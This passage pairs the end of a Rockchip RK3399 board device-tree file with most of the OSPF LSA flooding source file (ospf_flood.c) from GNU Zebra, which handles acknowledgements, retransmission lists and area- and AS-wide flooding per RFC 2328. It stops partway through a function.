i2c-scl-rising-time-ns = <450>;
i2c-scl-falling-time-ns = <15>;
status = "okay";
};
&i2c4 {
i2c-scl-rising-time-ns = <600>;
i2c-scl-falling-time-ns = <20>;
status = "okay";
accelerometer@68 {
compatible = "invensense,mpu6500";
reg = <0x68>;
interrupt-parent = <&gpio1>;
interrupts = <RK_PC6 IRQ_TYPE_EDGE_RISING>;
};
};
&i2s0 {
rockchip,playback-channels = <8>;
rockchip,capture-channels = <8>;
#sound-dai-cells = <0>;
status = "okay";
};
&i2s1 {
rockchip,playback-channels = <2>;
rockchip,capture-channels = <2>;
#sound-dai-cells = <0>;
status = "okay";
};
&i2s2 {
#sound-dai-cells = <0>;
status = "okay";
};
&io_domains {
status = "okay";
bt656-supply = <&vcc1v8_dvp>;
audio-supply = <&vcca1v8_codec>;
sdmmc-supply = <&vcc_sd>;
gpio1830-supply = <&vcc_3v0>;
};
&pcie_phy {
status = "okay";
};
&pcie0 {
ep-gpios = <&gpio4 RK_PD1 GPIO_ACTIVE_HIGH>;
num-lanes = <4>;
pinctrl-names = "default";
pinctrl-0 = <&pcie_clkreqn>;
status = "okay";
};
&pmu_io_domains {
pmu1830-supply = <&vcc_3v0>;
status = "okay";
};
&pinctrl {
buttons {
pwrbtn: pwrbtn {
rockchip,pins = <0 RK_PA5 RK_FUNC_GPIO &pcfg_pull_up>;
};
};
lcd-panel {
lcd_panel_reset: lcd-panel-reset {
rockchip,pins = <4 RK_PD6 RK_FUNC_GPIO &pcfg_pull_up>;
};
};
pcie {
pcie_drv: pcie-drv {
rockchip,pins = <1 RK_PC1 RK_FUNC_GPIO &pcfg_pull_none>;
};
pcie_3g_drv: pcie-3g-drv {
rockchip,pins = <0 RK_PA2 RK_FUNC_GPIO &pcfg_pull_up>;
};
};
pmic {
vsel1_gpio: vsel1-gpio {
rockchip,pins = <1 RK_PC2 RK_FUNC_GPIO &pcfg_pull_down>;
};
vsel2_gpio: vsel2-gpio {
rockchip,pins = <1 RK_PB6 RK_FUNC_GPIO &pcfg_pull_down>;
};
};
sdio-pwrseq {
wifi_enable_h: wifi-enable-h {
rockchip,pins = <0 RK_PB2 RK_FUNC_GPIO &pcfg_pull_none>;
};
};
rt5640 {
rt5640_hpcon: rt5640-hpcon {
rockchip,pins = <4 RK_PC5 RK_FUNC_GPIO &pcfg_pull_none>;
};
};
pmic {
pmic_int_l: pmic-int-l {
rockchip,pins = <1 RK_PC5 RK_FUNC_GPIO &pcfg_pull_up>;
};
};
usb2 {
host_vbus_drv: host-vbus-drv {
rockchip,pins = <1 RK_PA0 RK_FUNC_GPIO &pcfg_pull_none>;
};
};
};
&pwm0 {
status = "okay";
};
&pwm2 {
status = "okay";
};
&saradc {
vref-supply = <&vccadc_ref>;
status = "okay";
};
&sdhci {
bus-width = <8>;
keep-power-in-suspend;
mmc-hs400-1_8v;
mmc-hs400-enhanced-strobe;
non-removable;
status = "okay";
};
&tsadc {
/* tshut mode 0:CRU 1:GPIO */
rockchip,hw-tshut-mode = <1>;
/* tshut polarity 0:LOW 1:HIGH */
rockchip,hw-tshut-polarity = <1>;
status = "okay";
};
&u2phy0 {
status = "okay";
u2phy0_otg: otg-port {
status = "okay";
};
u2phy0_host: host-port {
phy-supply = <&vcc5v0_host>;
status = "okay";
};
};
&u2phy1 {
status = "okay";
u2phy1_otg: otg-port {
status = "okay";
};
u2phy1_host: host-port {
phy-supply = <&vcc5v0_host>;
status = "okay";
};
};
&uart0 {
pinctrl-names = "default";
pinctrl-0 = <&uart0_xfer &uart0_cts>;
status = "okay";
};
&uart2 {
status = "okay";
};
&usb_host0_ehci {
status = "okay";
};
&usb_host0_ohci {
status = "okay";
};
&usb_host1_ehci {
status = "okay";
};
&usb_host1_ohci {
status = "okay";
};
| {
"pile_set_name": "Github"
} |
/*
* OSPF Flooding -- RFC2328 Section 13.
* Copyright (C) 1999, 2000 Toshiaki Takada
*
* This file is part of GNU Zebra.
*
* GNU Zebra is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2, or (at your
* option) any later version.
*
* GNU Zebra is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; see the file COPYING; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <zebra.h>
#include "monotime.h"
#include "linklist.h"
#include "prefix.h"
#include "if.h"
#include "command.h"
#include "table.h"
#include "thread.h"
#include "memory.h"
#include "log.h"
#include "zclient.h"
#include "ospfd/ospfd.h"
#include "ospfd/ospf_interface.h"
#include "ospfd/ospf_ism.h"
#include "ospfd/ospf_asbr.h"
#include "ospfd/ospf_lsa.h"
#include "ospfd/ospf_lsdb.h"
#include "ospfd/ospf_neighbor.h"
#include "ospfd/ospf_nsm.h"
#include "ospfd/ospf_spf.h"
#include "ospfd/ospf_flood.h"
#include "ospfd/ospf_packet.h"
#include "ospfd/ospf_abr.h"
#include "ospfd/ospf_route.h"
#include "ospfd/ospf_zebra.h"
#include "ospfd/ospf_dump.h"
extern struct zclient *zclient;
/* Do the LSA acking specified in table 19, Section 13.5, row 2
* This get called from ospf_flood_out_interface. Declared inline
* for speed. */
static void ospf_flood_delayed_lsa_ack(struct ospf_neighbor *inbr,
struct ospf_lsa *lsa)
{
/* LSA is more recent than database copy, but was not
flooded back out receiving interface. Delayed
acknowledgment sent. If interface is in Backup state
delayed acknowledgment sent only if advertisement
received from Designated Router, otherwise do nothing See
RFC 2328 Section 13.5 */
/* Whether LSA is more recent or not, and whether this is in
response to the LSA being sent out recieving interface has been
worked out previously */
/* Deal with router as BDR */
if (inbr->oi->state == ISM_Backup && !NBR_IS_DR(inbr))
return;
/* Schedule a delayed LSA Ack to be sent */
listnode_add(inbr->oi->ls_ack,
ospf_lsa_lock(lsa)); /* delayed LSA Ack */
}
/* Check LSA is related to external info. */
struct external_info *ospf_external_info_check(struct ospf *ospf,
struct ospf_lsa *lsa)
{
struct as_external_lsa *al;
struct prefix_ipv4 p;
struct route_node *rn;
struct list *ext_list;
struct listnode *node;
struct ospf_external *ext;
int type;
al = (struct as_external_lsa *)lsa->data;
p.family = AF_INET;
p.prefix = lsa->data->id;
p.prefixlen = ip_masklen(al->mask);
for (type = 0; type < ZEBRA_ROUTE_MAX; type++) {
int redist_on = 0;
redist_on =
is_prefix_default(&p)
? vrf_bitmap_check(
zclient->default_information[AFI_IP],
ospf->vrf_id)
: (zclient->mi_redist[AFI_IP][type].enabled
|| vrf_bitmap_check(
zclient->redist[AFI_IP][type],
ospf->vrf_id));
// Pending: check for MI above.
if (redist_on) {
ext_list = ospf->external[type];
if (!ext_list)
continue;
for (ALL_LIST_ELEMENTS_RO(ext_list, node, ext)) {
rn = NULL;
if (ext->external_info)
rn = route_node_lookup(
ext->external_info,
(struct prefix *)&p);
if (rn) {
route_unlock_node(rn);
if (rn->info != NULL)
return (struct external_info *)
rn->info;
}
}
}
}
if (is_prefix_default(&p) && ospf->external[DEFAULT_ROUTE]) {
ext_list = ospf->external[DEFAULT_ROUTE];
for (ALL_LIST_ELEMENTS_RO(ext_list, node, ext)) {
if (!ext->external_info)
continue;
rn = route_node_lookup(ext->external_info,
(struct prefix *)&p);
if (!rn)
continue;
route_unlock_node(rn);
if (rn->info != NULL)
return (struct external_info *)rn->info;
}
}
return NULL;
}
static void ospf_process_self_originated_lsa(struct ospf *ospf,
struct ospf_lsa *new,
struct ospf_area *area)
{
struct ospf_interface *oi;
struct external_info *ei;
struct listnode *node;
if (IS_DEBUG_OSPF_EVENT)
zlog_debug(
"%s:LSA[Type%d:%s]: Process self-originated LSA seq 0x%x",
ospf_get_name(ospf), new->data->type,
inet_ntoa(new->data->id), ntohl(new->data->ls_seqnum));
/* If we're here, we installed a self-originated LSA that we received
from a neighbor, i.e. it's more recent. We must see whether we want
to originate it.
If yes, we should use this LSA's sequence number and reoriginate
a new instance.
if not --- we must flush this LSA from the domain. */
switch (new->data->type) {
case OSPF_ROUTER_LSA:
/* Originate a new instance and schedule flooding */
if (area->router_lsa_self)
area->router_lsa_self->data->ls_seqnum =
new->data->ls_seqnum;
ospf_router_lsa_update_area(area);
return;
case OSPF_NETWORK_LSA:
case OSPF_OPAQUE_LINK_LSA:
/* We must find the interface the LSA could belong to.
If the interface is no more a broadcast type or we are no
more
the DR, we flush the LSA otherwise -- create the new instance
and
schedule flooding. */
/* Look through all interfaces, not just area, since interface
could be moved from one area to another. */
for (ALL_LIST_ELEMENTS_RO(ospf->oiflist, node, oi))
/* These are sanity check. */
if (IPV4_ADDR_SAME(&oi->address->u.prefix4,
&new->data->id)) {
if (oi->area != area
|| oi->type != OSPF_IFTYPE_BROADCAST
|| !IPV4_ADDR_SAME(&oi->address->u.prefix4,
&DR(oi))) {
ospf_schedule_lsa_flush_area(area, new);
return;
}
if (new->data->type == OSPF_OPAQUE_LINK_LSA) {
ospf_opaque_lsa_refresh(new);
return;
}
if (oi->network_lsa_self)
oi->network_lsa_self->data->ls_seqnum =
new->data->ls_seqnum;
/* Schedule network-LSA origination. */
ospf_network_lsa_update(oi);
return;
}
break;
case OSPF_SUMMARY_LSA:
case OSPF_ASBR_SUMMARY_LSA:
ospf_schedule_abr_task(ospf);
break;
case OSPF_AS_EXTERNAL_LSA:
case OSPF_AS_NSSA_LSA:
if ((new->data->type == OSPF_AS_EXTERNAL_LSA)
&& CHECK_FLAG(new->flags, OSPF_LSA_LOCAL_XLT)) {
ospf_translated_nssa_refresh(ospf, NULL, new);
return;
}
ei = ospf_external_info_check(ospf, new);
if (ei)
ospf_external_lsa_refresh(ospf, new, ei,
LSA_REFRESH_FORCE);
else
ospf_lsa_flush_as(ospf, new);
break;
case OSPF_OPAQUE_AREA_LSA:
ospf_opaque_lsa_refresh(new);
break;
case OSPF_OPAQUE_AS_LSA:
ospf_opaque_lsa_refresh(new);
/* Reconsideration may needed. */ /* XXX */
break;
default:
break;
}
}
/* OSPF LSA flooding -- RFC2328 Section 13.(5). */
/* Now Updated for NSSA operation, as follows:
Type-5's have no change. Blocked to STUB or NSSA.
Type-7's can be received, and if a DR
they will also flood the local NSSA Area as Type-7's
If a Self-Originated LSA (now an ASBR),
The LSDB will be updated as Type-5's, (for continual re-fresh)
If an NSSA-IR it is installed/flooded as Type-7, P-bit on.
if an NSSA-ABR it is installed/flooded as Type-7, P-bit off.
Later, during the ABR TASK, if the ABR is the Elected NSSA
translator, then All Type-7s (with P-bit ON) are Translated to
Type-5's and flooded to all non-NSSA/STUB areas.
During ASE Calculations,
non-ABRs calculate external routes from Type-7's
ABRs calculate external routes from Type-5's and non-self Type-7s
*/
int ospf_flood(struct ospf *ospf, struct ospf_neighbor *nbr,
struct ospf_lsa *current, struct ospf_lsa *new)
{
struct ospf_interface *oi;
int lsa_ack_flag;
/* Type-7 LSA's will be flooded throughout their native NSSA area,
but will also be flooded as Type-5's into ABR capable links. */
if (IS_DEBUG_OSPF_EVENT)
zlog_debug(
"%s:LSA[Flooding]: start, NBR %s (%s), cur(%p), New-LSA[%s]",
ospf_get_name(ospf), inet_ntoa(nbr->router_id),
lookup_msg(ospf_nsm_state_msg, nbr->state, NULL),
(void *)current, dump_lsa_key(new));
oi = nbr->oi;
/* If there is already a database copy, and if the
database copy was received via flooding and installed less
than MinLSArrival seconds ago, discard the new LSA
(without acknowledging it). */
if (current != NULL) /* -- endo. */
{
if (IS_LSA_SELF(current)
&& (ntohs(current->data->ls_age) == 0
&& ntohl(current->data->ls_seqnum)
== OSPF_INITIAL_SEQUENCE_NUMBER)) {
if (IS_DEBUG_OSPF_EVENT)
zlog_debug(
"%s:LSA[Flooding]: Got a self-originated LSA, while local one is initial instance.",
ospf_get_name(ospf));
; /* Accept this LSA for quick LSDB resynchronization.
*/
} else if (monotime_since(¤t->tv_recv, NULL)
< ospf->min_ls_arrival * 1000LL) {
if (IS_DEBUG_OSPF_EVENT)
zlog_debug(
"%s:LSA[Flooding]: LSA is received recently.",
ospf_get_name(ospf));
return -1;
}
}
/* Flood the new LSA out some subset of the router's interfaces.
In some cases (e.g., the state of the receiving interface is
DR and the LSA was received from a router other than the
Backup DR) the LSA will be flooded back out the receiving
interface. */
lsa_ack_flag = ospf_flood_through(ospf, nbr, new);
/* Remove the current database copy from all neighbors' Link state
retransmission lists. AS_EXTERNAL and AS_EXTERNAL_OPAQUE does
^^^^^^^^^^^^^^^^^^^^^^^
not have area ID.
All other (even NSSA's) do have area ID. */
if (current) {
switch (current->data->type) {
case OSPF_AS_EXTERNAL_LSA:
case OSPF_OPAQUE_AS_LSA:
ospf_ls_retransmit_delete_nbr_as(ospf, current);
break;
default:
ospf_ls_retransmit_delete_nbr_area(oi->area, current);
break;
}
}
/* Do some internal house keeping that is needed here */
SET_FLAG(new->flags, OSPF_LSA_RECEIVED);
(void)ospf_lsa_is_self_originated(ospf, new); /* Let it set the flag */
/* Install the new LSA in the link state database
(replacing the current database copy). This may cause the
routing table calculation to be scheduled. In addition,
timestamp the new LSA with the current time. The flooding
procedure cannot overwrite the newly installed LSA until
MinLSArrival seconds have elapsed. */
if (!(new = ospf_lsa_install(ospf, oi, new)))
return -1; /* unknown LSA type or any other error condition */
/* Acknowledge the receipt of the LSA by sending a Link State
Acknowledgment packet back out the receiving interface. */
if (lsa_ack_flag)
ospf_flood_delayed_lsa_ack(nbr, new);
/* If this new LSA indicates that it was originated by the
receiving router itself, the router must take special action,
either updating the LSA or in some cases flushing it from
the routing domain. */
if (ospf_lsa_is_self_originated(ospf, new))
ospf_process_self_originated_lsa(ospf, new, oi->area);
else
/* Update statistics value for OSPF-MIB. */
ospf->rx_lsa_count++;
return 0;
}
/* OSPF LSA flooding -- RFC2328 Section 13.3. */
static int ospf_flood_through_interface(struct ospf_interface *oi,
struct ospf_neighbor *inbr,
struct ospf_lsa *lsa)
{
struct ospf_neighbor *onbr;
struct route_node *rn;
int retx_flag;
if (IS_DEBUG_OSPF_EVENT)
zlog_debug(
"%s:ospf_flood_through_interface(): considering int %s, INBR(%s), LSA[%s] AGE %u",
ospf_get_name(oi->ospf), IF_NAME(oi), inbr ? inet_ntoa(inbr->router_id) : "NULL",
dump_lsa_key(lsa), ntohs(lsa->data->ls_age));
if (!ospf_if_is_enable(oi))
return 0;
/* Remember if new LSA is aded to a retransmit list. */
retx_flag = 0;
/* Each of the neighbors attached to this interface are examined,
to determine whether they must receive the new LSA. The following
steps are executed for each neighbor: */
for (rn = route_top(oi->nbrs); rn; rn = route_next(rn)) {
struct ospf_lsa *ls_req;
if (rn->info == NULL)
continue;
onbr = rn->info;
if (IS_DEBUG_OSPF_EVENT)
zlog_debug(
"ospf_flood_through_interface(): considering nbr %s(%s) (%s)",
inet_ntoa(onbr->router_id),
ospf_get_name(oi->ospf),
lookup_msg(ospf_nsm_state_msg, onbr->state,
NULL));
/* If the neighbor is in a lesser state than Exchange, it
does not participate in flooding, and the next neighbor
should be examined. */
if (onbr->state < NSM_Exchange)
continue;
/* If the adjacency is not yet full (neighbor state is
Exchange or Loading), examine the Link state request
list associated with this adjacency. If there is an
instance of the new LSA on the list, it indicates that
the neighboring router has an instance of the LSA
already. Compare the new LSA to the neighbor's copy: */
if (onbr->state < NSM_Full) {
if (IS_DEBUG_OSPF_EVENT)
zlog_debug(
"ospf_flood_through_interface(): nbr adj is not Full");
ls_req = ospf_ls_request_lookup(onbr, lsa);
if (ls_req != NULL) {
int ret;
ret = ospf_lsa_more_recent(ls_req, lsa);
/* The new LSA is less recent. */
if (ret > 0)
continue;
/* The two copies are the same instance, then
delete
the LSA from the Link state request list. */
else if (ret == 0) {
ospf_ls_request_delete(onbr, ls_req);
ospf_check_nbr_loading(onbr);
continue;
}
/* The new LSA is more recent. Delete the LSA
from the Link state request list. */
else {
ospf_ls_request_delete(onbr, ls_req);
ospf_check_nbr_loading(onbr);
}
}
}
if (IS_OPAQUE_LSA(lsa->data->type)) {
if (!CHECK_FLAG(onbr->options, OSPF_OPTION_O)) {
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING))
zlog_debug(
"Skip this neighbor: Not Opaque-capable.");
continue;
}
}
/* If the new LSA was received from this neighbor,
examine the next neighbor. */
if (inbr) {
/*
* Triggered by LSUpd message parser "ospf_ls_upd ()".
* E.g., all LSAs handling here is received via network.
*/
if (IPV4_ADDR_SAME(&inbr->router_id,
&onbr->router_id)) {
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING))
zlog_debug(
"Skip this neighbor: inbr == onbr");
continue;
}
} else {
/*
* Triggered by MaxAge remover, so far.
* NULL "inbr" means flooding starts from this node.
*/
if (IPV4_ADDR_SAME(&lsa->data->adv_router,
&onbr->router_id)) {
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING))
zlog_debug(
"Skip this neighbor: lsah->adv_router == onbr");
continue;
}
}
/* Add the new LSA to the Link state retransmission list
for the adjacency. The LSA will be retransmitted
at intervals until an acknowledgment is seen from
the neighbor. */
ospf_ls_retransmit_add(onbr, lsa);
retx_flag = 1;
}
/* If in the previous step, the LSA was NOT added to any of
the Link state retransmission lists, there is no need to
flood the LSA out the interface. */
if (retx_flag == 0) {
return (inbr && inbr->oi == oi);
}
/* if we've received the lsa on this interface we need to perform
additional checking */
if (inbr && (inbr->oi == oi)) {
/* If the new LSA was received on this interface, and it was
received from either the Designated Router or the Backup
Designated Router, chances are that all the neighbors have
received the LSA already. */
if (NBR_IS_DR(inbr) || NBR_IS_BDR(inbr)) {
if (IS_DEBUG_OSPF_NSSA)
zlog_debug(
"ospf_flood_through_interface(): DR/BDR NOT SEND to int %s",
IF_NAME(oi));
return 1;
}
/* If the new LSA was received on this interface, and the
interface state is Backup, examine the next interface. The
Designated Router will do the flooding on this interface.
However, if the Designated Router fails the router will
end up retransmitting the updates. */
if (oi->state == ISM_Backup) {
if (IS_DEBUG_OSPF_NSSA)
zlog_debug(
"ospf_flood_through_interface(): ISM_Backup NOT SEND to int %s",
IF_NAME(oi));
return 1;
}
}
/* The LSA must be flooded out the interface. Send a Link State
Update packet (including the new LSA as contents) out the
interface. The LSA's LS age must be incremented by InfTransDelay
(which must be > 0) when it is copied into the outgoing Link
State Update packet (until the LS age field reaches the maximum
value of MaxAge). */
/* XXX HASSO: Is this IS_DEBUG_OSPF_NSSA really correct? */
if (IS_DEBUG_OSPF_NSSA)
zlog_debug(
"ospf_flood_through_interface(): DR/BDR sending upd to int %s",
IF_NAME(oi));
/* RFC2328 Section 13.3
On non-broadcast networks, separate Link State Update
packets must be sent, as unicasts, to each adjacent neighbor
(i.e., those in state Exchange or greater). The destination
IP addresses for these packets are the neighbors' IP
addresses. */
if (oi->type == OSPF_IFTYPE_NBMA) {
struct ospf_neighbor *nbr;
for (rn = route_top(oi->nbrs); rn; rn = route_next(rn))
if ((nbr = rn->info) != NULL)
if (nbr != oi->nbr_self
&& nbr->state >= NSM_Exchange)
ospf_ls_upd_send_lsa(
nbr, lsa,
OSPF_SEND_PACKET_DIRECT);
} else
ospf_ls_upd_send_lsa(oi->nbr_self, lsa,
OSPF_SEND_PACKET_INDIRECT);
return 0;
}
int ospf_flood_through_area(struct ospf_area *area, struct ospf_neighbor *inbr,
struct ospf_lsa *lsa)
{
struct listnode *node, *nnode;
struct ospf_interface *oi;
int lsa_ack_flag = 0;
assert(area);
/* All other types are specific to a single area (Area A). The
eligible interfaces are all those interfaces attaching to the
Area A. If Area A is the backbone, this includes all the virtual
links. */
for (ALL_LIST_ELEMENTS(area->oiflist, node, nnode, oi)) {
if (area->area_id.s_addr != OSPF_AREA_BACKBONE
&& oi->type == OSPF_IFTYPE_VIRTUALLINK)
continue;
if ((lsa->data->type == OSPF_OPAQUE_LINK_LSA)
&& (lsa->oi != oi)) {
/*
* Link local scoped Opaque-LSA should only be flooded
* for the link on which the LSA has received.
*/
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING))
zlog_debug(
"Type-9 Opaque-LSA: lsa->oi(%p) != oi(%p)",
(void *)lsa->oi, (void *)oi);
continue;
}
if (ospf_flood_through_interface(oi, inbr, lsa))
lsa_ack_flag = 1;
}
return (lsa_ack_flag);
}
int ospf_flood_through_as(struct ospf *ospf, struct ospf_neighbor *inbr,
struct ospf_lsa *lsa)
{
struct listnode *node;
struct ospf_area *area;
int lsa_ack_flag;
lsa_ack_flag = 0;
/* The incoming LSA is type 5 or type 7 (AS-EXTERNAL or AS-NSSA )
Divert the Type-5 LSA's to all non-NSSA/STUB areas
Divert the Type-7 LSA's to all NSSA areas
AS-external-LSAs are flooded throughout the entire AS, with the
exception of stub areas (see Section 3.6). The eligible
interfaces are all the router's interfaces, excluding virtual
links and those interfaces attaching to stub areas. */
if (CHECK_FLAG(lsa->flags, OSPF_LSA_LOCAL_XLT)) /* Translated from 7 */
if (IS_DEBUG_OSPF_NSSA)
zlog_debug("Flood/AS: NSSA TRANSLATED LSA");
for (ALL_LIST_ELEMENTS_RO(ospf->areas, node, area)) {
int continue_flag = 0;
struct listnode *if_node;
struct ospf_interface *oi;
switch (area->external_routing) {
/* Don't send AS externals into stub areas. Various types
of support for partial stub areas can be implemented
here. NSSA's will receive Type-7's that have areas
matching the originl LSA. */
case OSPF_AREA_NSSA: /* Sending Type 5 or 7 into NSSA area */
/* Type-7, flood NSSA area */
if (lsa->data->type == OSPF_AS_NSSA_LSA
&& area == lsa->area)
/* We will send it. */
continue_flag = 0;
else
continue_flag = 1; /* Skip this NSSA area for
Type-5's et al */
break;
case OSPF_AREA_TYPE_MAX:
case OSPF_AREA_STUB:
continue_flag = 1; /* Skip this area. */
break;
case OSPF_AREA_DEFAULT:
default:
/* No Type-7 into normal area */
if (lsa->data->type == OSPF_AS_NSSA_LSA)
continue_flag = 1; /* skip Type-7 */
else
continue_flag = 0; /* Do this area. */
break;
}
/* Do continue for above switch. Saves a big if then mess */
if (continue_flag)
continue; /* main for-loop */
/* send to every interface in this area */
for (ALL_LIST_ELEMENTS_RO(area->oiflist, if_node, oi)) {
/* Skip virtual links */
if (oi->type != OSPF_IFTYPE_VIRTUALLINK)
if (ospf_flood_through_interface(oi, inbr,
lsa)) /* lsa */
lsa_ack_flag = 1;
}
} /* main area for-loop */
return (lsa_ack_flag);
}
int ospf_flood_through(struct ospf *ospf, struct ospf_neighbor *inbr,
struct ospf_lsa *lsa)
{
int lsa_ack_flag = 0;
/* Type-7 LSA's for NSSA are flooded throughout the AS here, and
upon return are updated in the LSDB for Type-7's. Later,
re-fresh will re-send them (and also, if ABR, packet code will
translate to Type-5's)
As usual, Type-5 LSA's (if not DISCARDED because we are STUB or
NSSA) are flooded throughout the AS, and are updated in the
global table. */
/*
* At the common sub-sub-function "ospf_flood_through_interface()",
* a parameter "inbr" will be used to distinguish the called context
* whether the given LSA was received from the neighbor, or the
* flooding for the LSA starts from this node (e.g. the LSA was self-
* originated, or the LSA is going to be flushed from routing domain).
*
* So, for consistency reasons, this function "ospf_flood_through()"
* should also allow the usage that the given "inbr" parameter to be
* NULL. If we do so, corresponding AREA parameter should be referred
* by "lsa->area", instead of "inbr->oi->area".
*/
switch (lsa->data->type) {
case OSPF_AS_EXTERNAL_LSA: /* Type-5 */
case OSPF_OPAQUE_AS_LSA:
lsa_ack_flag = ospf_flood_through_as(ospf, inbr, lsa);
break;
/* Type-7 Only received within NSSA, then flooded */
case OSPF_AS_NSSA_LSA:
/* Any P-bit was installed with the Type-7. */
if (IS_DEBUG_OSPF_NSSA)
zlog_debug(
"ospf_flood_through: LOCAL NSSA FLOOD of Type-7.");
/* Fallthrough */
default:
lsa_ack_flag = ospf_flood_through_area(lsa->area, inbr, lsa);
break;
}
return (lsa_ack_flag);
}
/* Management functions for neighbor's Link State Request list. */
void ospf_ls_request_add(struct ospf_neighbor *nbr, struct ospf_lsa *lsa)
{
/*
* We cannot make use of the newly introduced callback function
* "lsdb->new_lsa_hook" to replace debug output below, just because
* it seems no simple and smart way to pass neighbor information to
* the common function "ospf_lsdb_add()" -- endo.
*/
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING))
zlog_debug("RqstL(%lu)++, NBR(%s(%s)), LSA[%s]",
ospf_ls_request_count(nbr),
inet_ntoa(nbr->router_id),
ospf_get_name(nbr->oi->ospf), dump_lsa_key(lsa));
ospf_lsdb_add(&nbr->ls_req, lsa);
}
unsigned long ospf_ls_request_count(struct ospf_neighbor *nbr)
{
return ospf_lsdb_count_all(&nbr->ls_req);
}
int ospf_ls_request_isempty(struct ospf_neighbor *nbr)
{
return ospf_lsdb_isempty(&nbr->ls_req);
}
/* Remove LSA from neighbor's ls-request list. */
void ospf_ls_request_delete(struct ospf_neighbor *nbr, struct ospf_lsa *lsa)
{
if (nbr->ls_req_last == lsa) {
ospf_lsa_unlock(&nbr->ls_req_last);
nbr->ls_req_last = NULL;
}
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING)) /* -- endo. */
zlog_debug("RqstL(%lu)--, NBR(%s(%s)), LSA[%s]",
ospf_ls_request_count(nbr),
inet_ntoa(nbr->router_id),
ospf_get_name(nbr->oi->ospf), dump_lsa_key(lsa));
ospf_lsdb_delete(&nbr->ls_req, lsa);
}
/* Remove all LSA from neighbor's ls-requenst list. */
void ospf_ls_request_delete_all(struct ospf_neighbor *nbr)
{
ospf_lsa_unlock(&nbr->ls_req_last);
nbr->ls_req_last = NULL;
ospf_lsdb_delete_all(&nbr->ls_req);
}
/* Lookup LSA from neighbor's ls-request list. */
struct ospf_lsa *ospf_ls_request_lookup(struct ospf_neighbor *nbr,
struct ospf_lsa *lsa)
{
return ospf_lsdb_lookup(&nbr->ls_req, lsa);
}
struct ospf_lsa *ospf_ls_request_new(struct lsa_header *lsah)
{
struct ospf_lsa *new;
new = ospf_lsa_new_and_data(OSPF_LSA_HEADER_SIZE);
memcpy(new->data, lsah, OSPF_LSA_HEADER_SIZE);
return new;
}
/* Management functions for neighbor's ls-retransmit list. */
unsigned long ospf_ls_retransmit_count(struct ospf_neighbor *nbr)
{
return ospf_lsdb_count_all(&nbr->ls_rxmt);
}
unsigned long ospf_ls_retransmit_count_self(struct ospf_neighbor *nbr,
int lsa_type)
{
return ospf_lsdb_count_self(&nbr->ls_rxmt, lsa_type);
}
int ospf_ls_retransmit_isempty(struct ospf_neighbor *nbr)
{
return ospf_lsdb_isempty(&nbr->ls_rxmt);
}
/* Add LSA to be retransmitted to neighbor's ls-retransmit list. */
void ospf_ls_retransmit_add(struct ospf_neighbor *nbr, struct ospf_lsa *lsa)
{
struct ospf_lsa *old;
old = ospf_ls_retransmit_lookup(nbr, lsa);
if (ospf_lsa_more_recent(old, lsa) < 0) {
if (old) {
old->retransmit_counter--;
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING))
zlog_debug("RXmtL(%lu)--, NBR(%s(%s)), LSA[%s]",
ospf_ls_retransmit_count(nbr),
inet_ntoa(nbr->router_id),
ospf_get_name(nbr->oi->ospf),
dump_lsa_key(old));
ospf_lsdb_delete(&nbr->ls_rxmt, old);
}
lsa->retransmit_counter++;
/*
* We cannot make use of the newly introduced callback function
* "lsdb->new_lsa_hook" to replace debug output below, just
* because
* it seems no simple and smart way to pass neighbor information
* to
* the common function "ospf_lsdb_add()" -- endo.
*/
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING))
zlog_debug("RXmtL(%lu)++, NBR(%s(%s)), LSA[%s]",
ospf_ls_retransmit_count(nbr),
inet_ntoa(nbr->router_id),
ospf_get_name(nbr->oi->ospf),
dump_lsa_key(lsa));
ospf_lsdb_add(&nbr->ls_rxmt, lsa);
}
}
/* Remove LSA from neibghbor's ls-retransmit list. */
void ospf_ls_retransmit_delete(struct ospf_neighbor *nbr, struct ospf_lsa *lsa)
{
if (ospf_ls_retransmit_lookup(nbr, lsa)) {
lsa->retransmit_counter--;
if (IS_DEBUG_OSPF(lsa, LSA_FLOODING)) /* -- endo. */
zlog_debug("RXmtL(%lu)--, NBR(%s(%s)), LSA[%s]",
ospf_ls_retransmit_count(nbr),
inet_ntoa(nbr->router_id),
ospf_get_name(nbr->oi->ospf),
dump_lsa_key(lsa));
ospf_lsdb_delete(&nbr->ls_rxmt, lsa);
}
}
/* Clear neighbor's ls-retransmit list. */
void ospf_ls_retransmit_clear(struct ospf_neighbor *nbr)
{
struct ospf_lsdb *lsdb;
int i;
lsdb = &nbr->ls_rxmt;
for (i = OSPF_MIN_LSA; i < OSPF_MAX_LSA; i++) {
struct route_table *table = lsdb->type[i].db;
struct route_node *rn;
struct ospf_lsa *lsa;
for (rn = route_top(table); rn; rn = route_next(rn))
if ((lsa = rn->info) != NULL)
ospf_ls_retransmit_delete(nbr, lsa);
}
ospf_lsa_unlock(&nbr->ls_req_last);
nbr->ls_req_last = NULL;
}
/* Lookup LSA from neighbor's ls-retransmit list. */
struct ospf_lsa *ospf_ls_retransmit_lookup(struct ospf_neighbor *nbr,
struct ospf_lsa *lsa)
{
return ospf_lsdb_lookup(&nbr->ls_rxmt, lsa);
}
static void ospf_ls_retransmit_delete_nbr_if(struct ospf_interface *oi,
struct ospf_lsa *lsa)
{
struct route_node *rn;
struct ospf_neighbor *nbr;
struct ospf_lsa *lsr;
if (ospf_if_is_enable(oi))
for (rn = route_top(oi->nbrs); rn; rn = route_next(rn))
/* If LSA find in LS-retransmit list, then remove it. */
if ((nbr = rn->info) != NULL) {
lsr = ospf_ls_retransmit_lookup(nbr, lsa);
/* If LSA find in ls-retransmit list, remove it.
*/
if (lsr != NULL
&& lsr->data->ls_seqnum
== lsa->data->ls_seqnum)
ospf_ls_retransmit_delete(nbr, lsr);
}
}
void ospf_ls_retransmit_delete_nbr_area(struct ospf_area *area,
